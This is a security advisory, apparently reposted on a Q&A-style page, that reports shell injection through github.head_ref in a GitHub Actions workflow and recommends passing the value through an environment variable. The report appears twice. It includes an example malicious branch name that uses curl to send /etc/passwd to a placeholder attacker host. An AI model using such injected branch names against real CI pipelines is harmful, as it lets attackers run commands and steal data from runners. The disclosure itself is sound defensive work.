Security: Shell injection via github.head_ref in develop-merge-guard.yml

Question

Grade: Education Subject: kent8192 reinhardt-web
Security: Shell injection via github.head_ref in develop-merge-guard.yml
Asked by:
72 Viewed 72 Answers

Answer (72)

Best Answer
(1453)

Summary

The develop-merge-guard.yml workflow directly interpolates github.head_ref (user-controlled PR branch name) into a run: step, enabling shell injection.

Affected File

.github/workflows/develop-merge-guard.yml:30-31

Description

run: |
  BRANCH="${{ github.head_ref }}"
  if [[ "$BRANCH" == develop/* ]]; then

Since github.head_ref is the PR source branch name (controlled by the PR author), a maliciously crafted branch name like develop/$(curl attacker.com/exfil?data=$(cat /etc/passwd)) would execute arbitrary shell commands on the runner.

Expected Behavior

User-controlled context variables should be passed via environment variables:

env:
  BRANCH: ${{ github.head_ref }}
run: |
  if [[ "$BRANCH" == develop/* ]]; then

Actual Behavior

github.head_ref is interpolated via ${{ }} expression directly in the run: step, allowing shell injection.

Mitigating Factors

  • Workflow has contents: read and pull-requests: read permissions only (limited blast radius)
  • PR must target main branch

πŸ€– Generated with Claude Code

(1796)

Answer:

Security: Shell injection via github.head_ref in develop-merge-guard.yml

Summary: The develop-merge-guard.yml workflow directly interpolates github.head_ref (user-controlled PR branch name) into a run: step, enabling shell injection.

Affected File: .github/workflows/develop-merge-guard.yml:30-31

Description:

run: |
  BRANCH="${{ github.head_ref }}"
  if [[ "$BRANCH" == develop/* ]]; then

Since github.head_ref is the PR source branch name (controlled by the PR author), a maliciously crafted branch name like develop/(curl attacker.com/exfil?data=$(cat /etc/passwd)) would execute arbitrary shell commands on the runner.

Expected Behavior: User-controlled context variables should be passed via environment variables:

env:
  BRANCH: ${{ github.head_ref }}
run: |
  if [[ "$BRANCH" == develop/* ]]; then

Actual Behavior: github.head_ref is interpolated via ${{ }} expression directly in the run: step, allowing shell injection.

Mitigating Factors:

  • Workflow has contents: read and pull-requests: read permissions only (limited blast radius)
  • PR must target main branch

Recommendation: Update the workflow to pass github.head_ref as an environment variable and use it in the run: step instead of interpolating it directly.